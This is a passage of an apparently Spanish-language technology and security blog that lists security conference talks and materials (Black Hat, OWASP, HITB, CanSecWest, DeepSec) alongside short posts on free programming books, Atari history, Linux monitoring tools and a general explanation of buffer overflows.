• Secure Penetration Testing Operations: Demonstrated Weaknesses in Learning Material and Tools us-16-McGrew-Secure-Penetration-Testing-Operations-Demonstrated-Weaknesses-In-Learning-Material-And-Tools.pdf us-16-McGrew-Secure-Penetration-Testing-Operations-Demonstrated-Weaknesses-In-Learning-Material-And-Tools-wp.pdf us-16-McGrew-Secure-Penetration-Testing-Operations-Demonstrated-Weaknesses-In-Learning-Material-And-Tools-snagterpreter.py
• Security Through Design - Making Security Better by Designing for People us-16-Niemantsverdriet-Security-Through-Design-Making-Security-Better-By-Designing-For-People.pdf
• SGX Secure Enclaves in Practice: Security and Crypto Review us-16-Aumasson-SGX-Secure-Enclaves-In-Practice-Security-And-Crypto-Review.pdf us-16-Aumasson-SGX-Secure-Enclaves-In-Practice-Security-And-Crypto-Review-wp.pdf
• Side-Channel Attacks on Everyday Applications us-16-Hornby-Side-Channel-Attacks-On-Everyday-Applications.pdf us-16-Hornby-Side-Channel-Attacks-On-Everyday-Applications-wp.pdf
• Subverting Apple Graphics: Practical Approaches to Remotely Gaining Root us-16-Chen-Subverting-Apple-Graphics-Practical-Approaches-To-Remotely-Gaining-Root.pdf us-16-Chen-Subverting-Apple-Graphics-Practical-Approaches-To-Remotely-Gaining-Root-wp.pdf
• TCP Injection Attacks in the Wild - A Large Scale Study us-16-Nakibly-TCP-Injection-Attacks-in-the-Wild-A-Large-Scale-Study.pdf us-16-Nakibly-TCP-Injection-Attacks-in-the-Wild-A-Large-Scale-Study-wp.pdf us-16-Nakibly-TCP-Injection-Attacks-in-the-Wild-A-Large-Scale-Study-samples.zip
• The Art of Defense - How Vulnerabilities Help Shape Security Features and Mitigations in Android us-16-Kralevich-The-Art-Of-Defense-How-Vulnerabilities-Help-Shape-Security-Features-And-Mitigations-In-Android.pdf
• The Art of Reverse Engineering Flash Exploits us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits.pdf us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits-wp.pdf
• The Beast Within - Evading Dynamic Malware Analysis Using Microsoft COM us-16-Hund-The-Beast-Within-Evading-Dynamic-Malware-Analysis-Using-Micro.pdf
• The Remote Malicious Butler Did It! us-16-Beery-The-Remote-Malicious-Butler-Did-It.pdf us-16-Beery-The-Remote-Malicious-Butler-Did-It-wp.pdf
• The Risk from Power Lines: How to Sniff the G3 and Prime Data and Detect the Interfere Attack us-16-Lei-The-Risk-From-Power-Lines-How-To-Sniff-The-G3-And-Prime-Data-And-Detect-The-Interfere-Attack.pdf us-16-Lei-The-Risk-From-Power-Lines-How-To-Sniff-The-G3-And-Prime-Data-And-Detect-The-Interfere-Attack-wp.pdf
• The Tao of Hardware the Te of Implants us-16-FitzPatrick-The-Tao-Of-Hardware-The-Te-Of-Implants.pdf us-16-FitzPatrick-The-Tao-Of-Hardware-The-Te-Of-Implants-wp.pdf
• The Year in Flash us-16-Silvanovich-The-Year-In-Flash.pdf
• Timing Attacks Have Never Been So Practical: Advanced Cross-Site Search Attacks us-16-Gelernter-Timing-Attacks-Have-Never-Been-So-Practical-Advanced-Cross-Site-Search-Attacks.pdf
• Using an Expanded Cyber Kill Chain Model to Increase Attack Resiliency us-16-Malone-Using-An-Expanded-Cyber-Kill-Chain-Model-To-Increase-Attack-Resiliency.pdf
• Using EMET to Disable EMET us-16-Alsaheel-Using-EMET-To-Disable-EMET.pdf
• Using Undocumented CPU Behavior to See into Kernel Mode and Break KASLR in the Process us-16-Fogh-Using-Undocumented-CPU-Behaviour-To-See-Into-Kernel-Mode-And-Break-KASLR-In-The-Process.pdf us-16-Fogh-Using-Undocumented-CPU-Behaviour-To-See-Into-Kernel-Mode-And-Break-KASLR-In-The-Process-wp.pdf
• Viral Video - Exploiting SSRF in Video Converters us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
• VOIP WARS: The Phreakers Awaken us-16-Ozavci-VoIP-Wars-The-Phreakers-Awaken.pdf us-16-Ozavci-VoIP-Wars-The-Phreakers-Awaken.rb
• Weaponizing Data Science for Social Engineering: Automated E2E Spear Phishing on Twitter us-16-Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-Automated-E2E-Spear-Phishing-On-Twitter.pdf us-16-Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-Automated-E2E-Spear-Phishing-On-Twitter-wp.pdf us-16-Seymour-Tully-Weaponizing-Data-Science-For-Social-Engineering-Automated-E2E-Spear-Phishing-On-Twitter-tool.zip
• Web Application Firewalls: Analysis of Detection Logic us-16-Ivanov-Web-Application-Firewalls-Analysis-Of-Detection-Logic.pdf
• What's the DFIRence for ICS? us-16-Sistrunk-Triplett-Whats-The-DFIRence-For-ICS.pdf
• When Governments Attack: State Sponsored Malware Attacks Against Activists Lawyers and Journalists us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists.pdf us-16-Quintin-When-Governments-Attack-State-Sponsored-Malware-Attacks-Against-Activists-Lawyers-And-Journalists-wp.pdf
• When the Cops Come A-Knocking: Handling Technical Assistance Demands from Law Enforcement us-16-Granick-When-The-Cops-Come-A-Knocking-Handling-Technical-Assistance-Demands-From-Law-Enforcement.pdf
• Windows 10 Mitigation Improvements us-16-Weston-Windows-10-Mitigation-Improvements.pdf
• Windows 10 Segment Heap Internals us-16-Yason-Windows-10-Segment-Heap-Internals.pdf us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf
• Xenpwn: Breaking Paravirtualized Devices us-16-Wilhelm-Xenpwn-Breaking-Paravirtualized-Devices.pdf us-16-Wilhelm-Xenpwn-Breaking-Paravirtualized-Devices-wp.pdf

Microhistorias: Los “ladrillos” que cimentaron …

En 1974 Atari era la empresa de moda en aquella época, sueño de cualquier geek. La compañía había crecido enormemente desde su fundación en 1972, “Pong” ya había creado toda una nueva industria y la famosa videoconsola Atari VCS 2600 no era más que un proyecto en desarrollo. El ambiente desenfadado y de espíritu libre de la compañía era el cultivo perfecto para atraer a todo tipo de personajes, sobre todo hippies y locos por la tecnología que estaba dando sus primeros pasos.

Reverse Engineering for Beginners, libro gratuito

  (Click en la imagen para descargar la versión en inglés PDF)

URL del autor:

http://yurichev.com/

URL del libro:

http://beginners.re/

Perfecto para estas tardes de Verano …

Vídeos de HOPE XI

Ayer terminó la conferencia organizada por el grupo de 2600, HOPE XI (Hackers On Planet Earth). La mayoría de los vídeos ya están disponibles.

Hubo tres pistas (tracks) en paralelo: (desde el mismo player puedes hacer cambiar los vídeos derecha/izquierda)

Lamarr:

Noether:

Friedman:

Vídeos de OWASP AppSec Europe 2016

Se han publicado los vídeos de las charlas de OWASP Europe 2016 celebrada en Roma. La lista de las charlas publicadas es la siguiente:

• Abhay Bhargav - SecDevOps: A View from the Trenches
• A. Brucker, S. Dashevskyi, F. Massacci - Using Third Party Components for building a
• Adam Muntner - Open Source Approaches to Security for Applications and Services at Mo
• Ajin Abraham - Automated Mobile Application Security Assessment with MobSF
• Amol Sarwate - 2016 State of Vulnerability Exploits
• Andreas Falk - Building secure cloud - native applications with spring boot and spring
• Arne Swinnen - The Tales of a Bug Bounty Hunter - 10 Interesting Vulnerabilities
• B. Stock, B. Kaiser, S. Lekies, S. Pfistner - From Facepalm to Brain Bender
• Chris Romeo - AppSec Awareness - A Blue Print for Security Culture Change
• C. Mainka, C. Spth, V. Mladenov - From DTD to XXE - An Evaluation of XML - Parsers
• C. Mainka, V. Mladenov, T. Wich - Systematically Breaking and Fixing OpenID Connect
• Christian Schneider, Alvaro Muoz - Surviving the Java serialization apocalypse
• Christian Wressnegger - Analyzing and Detecting Flash - based Malware
• Dan Cornell - The ABCs of Source-Assisted Web Application Penetration Testing
• Daniel Kefer, Rene Reuter - Addressing Security Requirements in Development Projects
• David Lindner, Jack Mannino - Dont Touch Me That Way
• David Rook - Leveling up your application security program
• Dinis Cruz - Using JIRA to manage Risks and Security Champions activities
• Dirk Wetter - Calm down HTTPS is not a VPN
• Felix Leder - Bug Hunting on the Dark Side
• Giancarlo Pellegrino - Compression Bombs Strike Back
• Glen ten Cate - OWASP Security Knowledge Framework - Making the web secure by design
• Grant McCracken, Shpend Kurtishaj - Running a bug bounty - what you need to know.
• Ikka Turunen - A chain of trust-How to implement a supply chain approach to build and
• Jacky Fox - Attracting and retaining women in Cyber Security
• Jakub Kaluzny - Big problems with big data - Hadoop interfaces security
• Johannes Dahse - Static Code Analysis of Complex PHP Application Vulnerabilities
• John Dickson - Making OpenSAMM More Effective in a DevOps World
• John Kozyrakis - Everything You Need to Know About Certificate Pinning But Are Too
• Jonathan Kuskos - The Top 10 Web Hacks of 2015
• J. Rose, R. Sulatycki - Grow up AppSec-A case study of maturity models and metrics
• Julia Knecht - SAASY SPLC
• Liesbeth Kempen - Idiot proof is not enough make it villain proof
• L. Compagna, A. Sudhodanan, A. Armando, R. Carbone - Attack Patterns for Black-Box Det
• Marisa Fagan - The Cool Factor - Securitys Secret Weapon
• Matthias Rohr - Practical Threat Modeling with Microsofts Threat Modeling Tool 2016
• Michele Spagnuolo, Lukas Weichselbaum - Making CSP great again
• Mike West - Keynote - Hardening the Web Platform
• Oliver Lavery - Framework Security - Have You Hugged A Developer Today
• Rob van der Veer - Grip on SSD - Dutch government standard for outsourcing secure
• Scott Davis - Scanning with swagger - Using the Open API specification to find first
• Sebastian Lekies - Securing AngularJS Applications
• Simone Onofri - Security Project Management - how to be Agile in
• Tobias Gondrom - OWASP CISO Survey Report Tactical Insights for Managers
• Tom Van Goethem - The Timing Attacks They Are a - Changin
• Tony Uceda Velez - Attack tree vignettes for Containers as a Service applications and
• Wojtek Dworakowski - Internet banking safeguards vulnerabilities
• Yair Amit - Why Hackers Are Winning The Mobile Malware Battle - Bypassing

Dropbox compite con Pied Piper

Dropbox ha liberado una herramienta llamada Lepton. Ésta es capaz de comprimir archivos JPEG reduciendo hasta un 22% el tamaño del mismo, sin perder calidad alguna.

Lepton, además de una herramienta de compresión gráfica, da también nombre al formato del fichero generado por la misma. Según el anuncio oficial, ésta comprime los ficheros JPEG a una velocidad de 5mb por segundo, y descomprime los archivos .lep (extensión de dichos ficheros) a 15mb por segundo, con un consumo de memoria por debajo de los 24mb.

Certificación Ciencia de datos de Microsoft

Microsoft a través de la plataforma edX, ha lanzado una certificación sobre ciencia de datos (Data Science Curriculum from Microsoft). Dicha certificación está dividida en 4 unidades, y cada unidad en varios cursos (la unidad 4 es un proyecto), como puede verse a continuación:

Unit 1 - Fundamentals Course 1:      Data Science Orientation Course 2:      Querying Data with Transact-SQL Course 3a:    Analyzing and Visualizing Data with Excel Course 3b:    Analyzing and Visualizing Data with Power BI Course 4:      Statistical Thinking for Data Science and Analytics from Columbia University

Verifica y fortalece la configuración de tu Mac OS …

https://sophosnews.files.wordpress.com/2012/06/mac-osx-before-after.jpg

En el año 2012 Apple acabó reconociendo y editando el contenido de su web de "It doesn't PC viruses" a "It's built to be safe", en reconocimiento a que Mac OS X podría ser atacado e infectado por malware. De hecho, no es que fuera posible, sino que estaba ocurriendo.

Por ello a día de hoy ya no nos podemos despistar lo más mínimo y tomar un mínimo número de medidas que nos ayuden reforzar la seguridad de nuestro Mac OS X.

Microhistorias: Buffer Overflows. Trick or …

Entre mediados de los 90s y la primera década del siglo XXI, los ataques por desbordamiento de memoria ocuparon muchos titulares en la prensa técnica.

Un error de desbordamiento de memoria o más conocido como buffer overflow, aparece cuando un programa no gestiona correctamente la asignación de memoria (direccionamiento) en una operación de carga de datos a la memoria. Por lo tanto el programa está intentando almacenar una cantidad de datos en esa sección de la memoria (buffer) mayor de la que puede contener. Esto provoca un error en la ejecución del programa el cual puede corromper la información, detener la ejecución o en el peor de la casos, deja una puerta abierta a la ejecución de código malicioso. Es aquí donde aparece el ataque por desbordamiento de memoria. La técnica consiste básicamente en provocar el error buffer overflow para alterar la ejecución del programa y redireccionarlo a un fragmento de código diferente, tomando el control total del mismo.

El gobierno de los EEUU podría, legalmente, …

El gobierno de los Estados Unidos quiere utilizar un procedimiento oscuro –modificar una regla federal conocida como Regla 41—para expandir radicalmente su autoridad para hackear. Los cambios a la Regla 41 les facilitaría entrar por la fuerza a nuestras computadoras, tomar información, y realizar una vigilancia remota. Estos cambios podrían afectar a cualquier persona que utilice una computadora con acceso a internet en cualquier lugar del mundo. Sin embargo, afectarán en forma desproporcionada a las personas que utilicen tecnologías para proteger la privacidad, incluyendo Tor y VPN. El Congreso de los Estados Unidos tiene solo hasta el 1 de diciembre para evitar que las modificaciones entren en vigencia. Tenemos que alzar nuestra voz. Comparte esta publicación con tus amigos y en tu blog. ¡Despierta la consciencia sobre los cambios en la Regla 41!

Cómo robar datos de un ordenador utilizando el …

  Foto: TechWorm

Pues sí, hasta ahora hemos visto muchos métodos no convencionales para acceder a la información de un ordenador totalmente aislado sin conexión a red (en inglés, “air-gapped”). Por ejemplo, a través de técnicas con cámaras térmicas, electromagnetismo, etc.  Pues ahora investigadores de la Universidad Ben-Gurion of the Negev han descubierto un nuevo método acústico para poder extraer información de un ordenador utilizando el ruido generado por los ventiladores. Para extraer la información sólo necesitan un teléfono móvil o un ordenador equipado con un micrófono.

Domingo por la mañana, M83, "Un nouveau Soleil"

M83

Libros gratuitos sobre Machine Learning

No cabe ninguna duda que en los tiempos que corren, la inteligencia artificial es una ciencia en pleno auge. Machine Learning, a groso modo, es una de las ramas de dicho campo, éste define una serie de técnicas por las cuales las máquinas aprenden por si mismas. Esta rama es una parte clave de la inteligencia artificial y sobre todo de nuestra vida actual. Entre otras, algunas de la aplicaciones (según wikipedia) de Machine Learning son:

Domingo por la mañana, Lusine, "Gravity"

Lusine

Google añade "motivación" a su IA para poder …

Si tienes una Inteligencia Artificial (IA) ¿cómo la entrenarías? Antes la base era suministrarle el máximo de información posible para que la IA lo procesara y de esa forma asimilar nuevos conceptos y parecer  inteligente. En cambio esto ya ha cambiado desde hace tiempo. Ahora se aplican nuevas técnicas como  “machine learning” las cuales se centran más en el autoaprendizaje de los sistemas.

Arquitectura de aplicaciones open source: 500 …

500 líneas  o menos (500 lines or less) es un nuevo volumen de la serie Architecture of Open Source Applications. En esta serie de libros, constituida actualmente por 3 volúmenes, tratan la sobre la arquitectura, infraestructura, escalabilidad, etc, de ciertas aplicaciones de código abierto bien conocidas. En el último volumen, el cuarto de la serie, 500 líneas o menos se enfoca más al diseño desde el punto de vista del desarrollador.

Material de Hack In The Box Amsterdam 2016

Aquí os dejo para el fin de semana el material publicado de la Hack In The Box 2016 celebrada en Amsterdam:

• CLOSING KEYNOTE - Sophia D Antoine - Hardware Side Channels in Virtualized Environments.pdf
• D1 COMMSEC - Elisabeth de Leeuw - Unformation in the Era of Hyper Connectivity.pdf
• D1 COMMSEC - Marc Newlin - Applying Regulatory Data to IoT RF Reverse Engineering.pdf
• D1 COMMSEC - Martin Knobloch - Don't Feed the Hippos.pdf
• D1 COMMSEC - Nadav Markus and Gal De Leon - Exploiting GLIBC - Hacking Everything.pdf
• D1T1 - Jacob Torrey - Using the Observer Effect and Cyber Fengshui.pdf
• D1T1 - Lin Huang - Forcing a Targeted LTE Cellphone into an Eavesdropping Network.pdf
• D1T1 - Nick Biasini - Exploit Kits - Hunting the Hunters .pdf
• D1T1 - Radu Caragea - Peering into the Depths of TLS Traffic in Real Time.pdf
• D1T1 - Shengping Wang and Xu Liu - Escape From The Docker-KVM-QEMU Machine.pdf
• D1T1 - Tang Qing Hao - Virtualization System Vulnerability Discovery Framework.pdf
• D1T2 - Broderick Aquilino and Wayne Low - Kernel Exploit Hunting and Mitigation.pdf
• D1T2 - Chilik Tamir - Profiting from iOS Malware.pdf
• D1T2 - Michele Spagnuolo and Lukas Weichselbaum - CSP Oddities.pdf
• D1T2 - Seunghun Han - Create Your Own Bad USB Device.pdf
• D1T2 - Tim Xia - Adaptive Android Kernel Live Patching.pdf
• D1T2 - Yann Allain and Julien Moinard - Hardsploit Project.pdf
• D1T3 - Gustavo Grieco - Vulnerability Discovery Using Machine Learning.pdf
• D1T3 LABS - Anto Joseph - Droid-FF.pdf
• D1T3 LABS - Tony Trummer and Tushar Dalvi - Mobile Application Security for iOS and Android.zip
• D2 COMMSEC - Mattijs van Ommeren - A Series Of Unfortunate Events - Where Malware Meets Murphy.pdf
• D2T1 - Anders Fogh - Cache Side Channel Attacks.pdf
• D2T1 - Felix Wilhelm - Attacking Next Generation Firewalls.pdf
• D2T1 - Jun Li - CANSsee - An Automobile Intrusion Detection System.pdf
• D2T1 - Yuwei Zheng and Haoqi Shan - Forging a Wireless Time Signal to Attack NTP Servers.pdf
• D2T1 Itzik Kotler and Amit Klein - The Perfect Exfiltration Technique.pdf
• D2T2 - Mikhail Egorov and Sergey Soldatov - New Methods for Exploiting ORM Injections in Java Applications.pdf
• D2T2 - Peter blasty Geissler - Breaking Naive ESSID WPA2 Key Generation Algorithms.pdf
• D2T2 - Richard Johnson - Go Speed Tracer - Guided Fuzzing.pdf
• D2T2 - Shangcong Luan - Xen Hypervisor VM Escape.pdf
• D2T2 - Wish Wu - Perf - From Profiling to Kernel Exploiting.pdf
• D2T3 LABS - Matteo Beccaro - Electronic Access Control Security.pdf
• KEYNOTE 1 - John Adams - Beyond FBI v Apple.pdf
• KEYNOTE 2 - Adam Laurie - The Future Has Arrived and it's Effin Hilarious.odp

Proyectos IoT con Raspeberry Pi en contenedores …

Con anterioridad hemos publicado varias entradas dedicadas a proyectos con Raspberry Pi. Dependiendo del proyecto en si y la tecnología que uses, normalmente tienes que instalar ciertas dependencias y/o servicios. Y si por el motivo que sea necesitas tener diferentes versiones de dichas tecnologías, por ejemplo distintas versiones de ruby, python, etc aquello se puede convertir en un pequeño infierno. Para evitar este posible lío y poder fácilmente instalar tus proyectos de forma automática y sencilla, Docker es un perfecto candidato.

Vídeo tutoriales gratuitos de iniciación a la …

Poco a poco el lenguaje de programación de Apple, Swift, está ganando enteros, sobre todo desde que Apple decidió hacerlo open source. Incluso hay quien apuesta por Swift en el lado del servidor.

En swiftschool.io ofrecen un curso de iniciación totalmente gratuito en el nos enseñan los fundamentos básicos del lenguaje y poco a poco termina con la creación de una aplicación para iPhone.

El curso contiene unos 40 vídeos muy cortos, unos 2 minutos de media más o menos. Todo lo que necesitas para seguir el curso es un Mac y Xcode (disponible de forma gratuita en la App Store).

Domingo por la mañana, Exit - Jean-Michel Jarre y …

Aquí tenéis otro vídeo con comentarios de Edward Snowden y el propio Jean-Michel Jarre.

Kit de herramientas usadas en el libro Practical …

Uno de mis libros favoritos de mi pequeña colección es el Practical Malware Analysis. El contenido del mismo y la forma en que se explican los conceptos es excepcional.

Dicho libro también viene con varias prácticas (con malware real), las cuales te puedes descargar desde la web de apoyo al mismo: https://practicalmalwareanalysis.com/labs/ .

Por supuesto para llevar a cabo las prácticas y a través del contenido del libro se usan y discuten una gran número de herramientas. La número de herramientas aparecida no es pequeña y prácticamente todas son gratuitas (algunas con opción de pago). Aunque en el libro aparecen enlaces a las mismas, algunos enlaces están rotos o han cambiado.

Phrack Magazine 69

Y después de cuatro años de espera, se vuelve a publicar un nuevo número de Phrack Magazine. En este nuevo número (69) tenemos 16 artículos:

1. Introduction
2. Phrack Prophile on Solar Designer
3. Phrack World News
4. Linenoise
5. Loopback
6. The Fall of Hacker Groups
7. Revisiting Mac OS X Kernel Rootkits
8. Adobe Shockwave - A case study on memory disclosure
9. Modern Objective-C Exploitation Techniques
10. Self-patching Microsoft XML with misalignments and factorials
11. Internet Voting: A Requiem for the Dream
12. Attacking Ruby on Rails Applications
13. Obituary for an Adobe Flash Player bug
14. OR'LYEH? The Shadow over Firefox
15. How to hide a hook: A hypervisor for rootkits
16. International scenes

Podéis descargaros el archivo completo desde aquí.

Actualización de Windows 10 irrumpe durante la …

Tal y como suena, durante la retransmisión de la predicción del tiempo del programa de noticias de la cadena KCCI, un aviso de actualización de Windows 10 hizo aparición justo cuando su presentadora Metinka Slater, anunciaba una fuerte tormenta de agua.

Forecast [KGVID width=“640” height=“360”]http://ib149186.ib-prod.com/p/557781/sp/55778100/serveFlavor/entryId/0_och2y9ej/v/2/flavorId/0_lmq4cemq/forceproxy/true/name/a.mp4[/KGVID]

Cierren las ventanas va a llover mucho! :)

Fuente: http://www.kcci.com/news/kcci-meteorologist-gets-upgrade-surprise-on-live-tv/39240636

Buena colección de recursos para Python

Para aquellos que programan en python o tengan en mente hacerlo, en Awesome Python tienen una buena lista de recursos relacionada con este lenguaje de programación.

Los recursos están divididos (en el momento de escribir estas líneas) en 124 categorías. Entre las más populares tenemos:

• Web Frameworks
• Command-line Tools
• DevOps Tools
• Science and Data Analysis
• Machine Learning
• Web Crawling
• Testing
• MapReduce
• Search
• Downloader

 

Detalles de la intrusión a Hacking Team

Hace ya casi un año que apareció por todos lados una filtración de la empresa italiana Hacking Team. Dicha filtración eran 400 gb de información, la cual contenía no sólo correos internos y documentos, sino también el código fuente (incluyendo 0days) del malware que ésta vendía a gobiernos y fuerzas del orden para espiar a usuarios en internet.

El autor de la filtración ya avisó que publicaría los detalles de cómo lo hizo, pero que le daría a dicha empresa algo de tiempo para ver si era capaz de averiguar cómo habían sido comprometidos.

88 herramientas para monitorizar sistemas Linux

A continuación os dejo una lista de 88 herramientas de monitorización para sistemas Linux. Posiblemente no todos, pero la mayoría estén disponibles en sistemas derivados de Unix. La lista la he sacado de aquí, dónde además tienen una pequeña descripción de cada utilidad.

1. Top
2. htop
3. atop
4. apachetop
5. ftptop
6. mytop
7. powertop
8. iotop
9. ntopng
10. iftop
11. jnettop
12. bandwidthd
13. EtherApe
14. ethtool
15. NetHogs
16. iptraf
17. ngrep
18. MRTG
19. bmon
20. traceroute
21. IPTState
22. darkstat
23. vnStat
24. netstat
25. ss
26. nmap
27. MTR
28. Tcpdump
29. Justniffer
30. nmon
31. conky
32. Glances
33. saidar
34. RRDtool
35. monit
36. Linux process explorer
37. df
38. discus
39. xosview
40. Dstat
41. Net-SNMP
42. incron
43. monitorix
44. vmstat
45. uptime
46. mpstat
47. pmap
48. ps
49. sar
50. collectl
51. iostat
52. free
53. /proc file system
54. GKrellM
55. Gnome system monitor
56. GoAccess
57. Logwatch
58. Swatch
59. MultiTail
60. acct or psacct
61. whowatch
62. strace
63. DTrace
64. webmin
65. stat
66. ifconfig
67. ulimit
68. cpulimit
69. lshw
70. w
71. lsof
72. Server Density
73. OpenNMS
74. SysUsage
75. brainypdm
76. PCP
77. KDE system guard
78. Munin
79. Nagios
80. Zenoss
81. Cacti
82. Zabbix
83. collectd
84. Observium
85. Nload
86. SmokePing
87. MobaXterm
88. Shinken monitoring

Presentaciones de CanSecWest 2016

Ya se ha publicado el material de las presentaciones dadas en CanSecWest 2016, celebrada en Vancouver, Canadá:

• Csw2016 freingruber bypassing_application_whitelisting
• Csw2016 chen grassi-he-apple_graphics_is_compromised
• Csw2016 song li-smart_wars
• Csw2016 tang virtualization_device emulator testing technology
• Csw2016 macaulay eh_trace-rop_hooks
• Csw2016 d antoine_automatic_exploitgeneration
• Csw2016 gawlik bypassing_differentdefenseschemes
• Csw2016 wang docker_escapetechnology
• Csw2016 gong pwn_a_nexus_device_with_a_single_vulnerability
• Csw2016 wheeler barksdale-gruskovnjak-execute_mypacket
• Csw2016 economou nissim-getting_physical
• Csw2016 chaykin having_funwithsecuremessengers_and_androidwear
• Csw2016 julien moinard-hardsploit
• Csw2016 evron sysman_apt_reports_and_opsec_evolution
• Csw2016 li xu-bad_winmail_and_emailsecurityoutlook_final
• Csw2016 nicolas joly-0_days_exploits_and_bug_bounties

Aprende ensamblador dibujando pixeles

Aprender a jugando es probablemente la mejor forma de aprender. Esto es aplicable, yo diría, que a cualquier materia. En este caso la idea es aprender ensamblador o más bien la “forma de pensar” cuando nos sentamos a escribir código en ensamblador, ya que dependiendo de la arquitectura dicho lenguaje varía, pero las formas y metodología es prácticamente la misma.

En box-256.com podemos pasar un buen rato jugando con un sistema ficticio de 8bits, con 256 bytes de memoria, 16 colores y pantalla de 16x16. En éste, nuestro objetivo es reproducir exactamente el juego de pixeles de la parte inferior de la column output con el número mínimo de ciclos de CPU.

Libro sobre Deep Learning

Según la wikipedia:

Aprendizaje profundo (en inglés, deep learning) es un conjunto de algoritmos en aprendizaje automático (en inglés, machine learning) que intenta modelar abstracciones de alto nivel en datos usando arquitecturas compuestas de transformaciones no-lineales múltiples.

En deeplearningbook.org podemos encontrar un libro (en proceso de publicación por MIT press) sobre este subcampo de la inteligencia artificial. En dicha web podemos además encontrar enlaces a tutoriales sobre deep learning, y pronto también publicarán presentaciones usada por sus autores para la enseñanza de esta materia.

Es un libro orientado a estudiantes universitarios y aquellos profesionales que no tengan una base en machine learning y más específicamente en deep learning.

The Little Go Book en español

The Little Go Book es un proyecto que nació hace un par de años, el cual nos introduce al lenguaje de programación Go.

El libro en sí lo puedes bajar en varios formatos: PDF, epub o mobi. El proyecto está alojado en Github y hace un par meses que se creó en Github también, con una traducción al español del mismo. Este versión la puedes descargar en formato PDF o acceder al fichero markdown.

 

Colección de documentos, código y tutoriales sobre …

Aquellos afortunados que pudimos disfrutar del mejor ordenador personal entre mediados de los 80s y los 90s, sí, me refiero al Commodore Amiga ;), en algún momento se ha sentado a ver alguna demo gráfica, más conocida como demoscene,  de las que ya hemos hablado alguna vez.

Para mi, programar una de estas demos, es ir al límite, es programación en arte puro, es sacarle el máximo partido al hardware.

Vídeos de DeepSec 2015

Después de que se publicara el material de DeepSec 2015, ahora también tenemos los vídeos disponibles:

[DS15] ZigBee Smart Homes – A Hacker’s Open House - Tobias Zillner, Florian Eichelberger [DS15] The German Data Privacy Laws and IT Security - Stefan Schumacher [DS15] Revisiting SOHO Router Attacks [DS15] Remote Browser Based Fingerprinting of Local Network Devices - Manfred Kaiser [DS15] Not so Smart - On Smart TV Apps - Marcus Niemietz [DS15] 50 Shades of WAF Exemplified at Barracuda & Sucuri - Ashar Javed [DS15] Yes, Now YOU Can Patch That Vulnerability Too! Mitja Kolsek [DS15] Visualizing Wi Fi Packets the Hacker’s Way - Milan Gabor [DS15] Temet Nosce - Know thy Endpoint Through and Through; Processes to Data - Thomas Fischer [DS15] Measuring the TOR Network - Jens Kubieziel [DS15] Keynote Can Societies manage the SIGINT Monster - Duncan Campbell [DS15] illusoryTLS Nobody But Us Impersonate,Tamper and Exploit - Alfonso De Gregorio [DS15] IntelMQ - L. Aaron Kaplan [DS15] How to Break XML Encryption – Automatically – Juraj Somorovsky [DS15] HORNET High speed Onion Routing at the Network Layer - Chen Chen [DS15] Have We Penetrated Yet?? - Johnny Deutsch [DS15] HackingTeam – How They Infected Your Android Device By 0days - Attila Marosi [DS15] Hacking Cookies in Modern Web Applications and Browsers - Dawid Czagan [DS15] File Format Fuzzing in Android Giving a Stagefright to the Android Installer [DS15] Extending a Legacy Platform Providing a Minimalistic, Secure Single Sign On Library [DS15] Agile Security The Good, The Bad, and mostly the Ugly - Daniel Liber [DS15] Bridging the Air Gap Data Exfiltration from Air Gap Networks - [DS15] Building a Better Honeypot Network - Josh Pyorre [DS15] Chw00t How To Break Out from Various Chroot Solutions - Balazs Bucsay [DS15] Continuous Intrusion Why CI Tools Are an Attacker’s Best Friends - Nikhil Mittal [DS15] Cryptographic Enforcement of Segregation of Duty within Work Flows - Thomas Maus [DS15] Cryptography Tools, Identity Vectors for ‘Djihadists’ - Julie Gommes [DS15] Deactivating Endpoint Protection Software in an Unauthorized Manner Matthias Deeg [DS15] DDoS Barbarians at the Gateway - Dave Lewis [DS15] Cyber Cyber Cyber Warfare Mistakes from the MoDs – Raoul Chiesa [DS15] A Case Study on the Security of Application Whitelisting René Freingruber [DS15] A Death in Athens The inherent Vulnerability of “Lawful Intercept” Programs James Bamford [DS15] Advanced SOHO Router Exploitation - Lyon Yang [DS15] Legal Responses Against Cyber Incidents - Oscar Serrano

Código fuente (ensamblador) documentado de Star …

Allá por 1979 se lanzó un juego para Atari llamado Star Raiders, un juego de 8 bits en forma de cartucho, que para la época fue muy innovador, por varias de las técnicas usadas.

Éste era un simulador espacial en 3D. Hacía uso de lo que llamaban player-missile graphics, esto era la “versión sprites” de Atari, hacía uso de cálculo de puntos 3D, la pantalla se dividía en partes con distintas funcionalidades, usaba gráficos de fondo, etc. Bastantes cosas que no parecen fuera de lo común, pero que para la época eran bastante impresionantes.

Material de Black Hat Asia 2016

Una de las conferencias sobre seguridad referente a nivel mundial, Black Hat, ya ha publicado el material de la edición Asia 2016.

• Devaluing Attack: Disincentivizing Threats Against the Next Billion Devices
• A New CVE-2015-0057 Exploit Technology asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology.pdf asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology-wp.pdf
• Android Commercial Spyware Disease and Medication asia-16-Saad-Android-Commercial-Spyware-Disease-And-Medication.pdf asia-16-Saad-Android-Commercial-Spyware-Disease-And-Medication-wp.pdf
• Automated Detection of Firefox Extension-Reuse Vulnerabilities
• Automated Dynamic Firmware Analysis at Scale: A Case Study on Embedded Web Interfaces asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces-wp.pdf
• Break Out of the Truman Show: Active Detection and Escape of Dynamic Binary Instrumentation asia-16-Sun-Break-Out-Of-The-Truman-Show-Active-Detection-And-Escape-Of-Dynamic-Binary-Instrumentation.pdf
• Bypassing Browser Security Policies for Fun and Profit asia-16-Baloch-Bypassing-Browser-Security-Policies-For-Fun-And-Profit.pdf asia-16-Baloch-Bypassing-Browser-Security-Policies-For-Fun-And-Profit-wp.pdf
• CANtact: An Open Tool for Automotive Exploitation
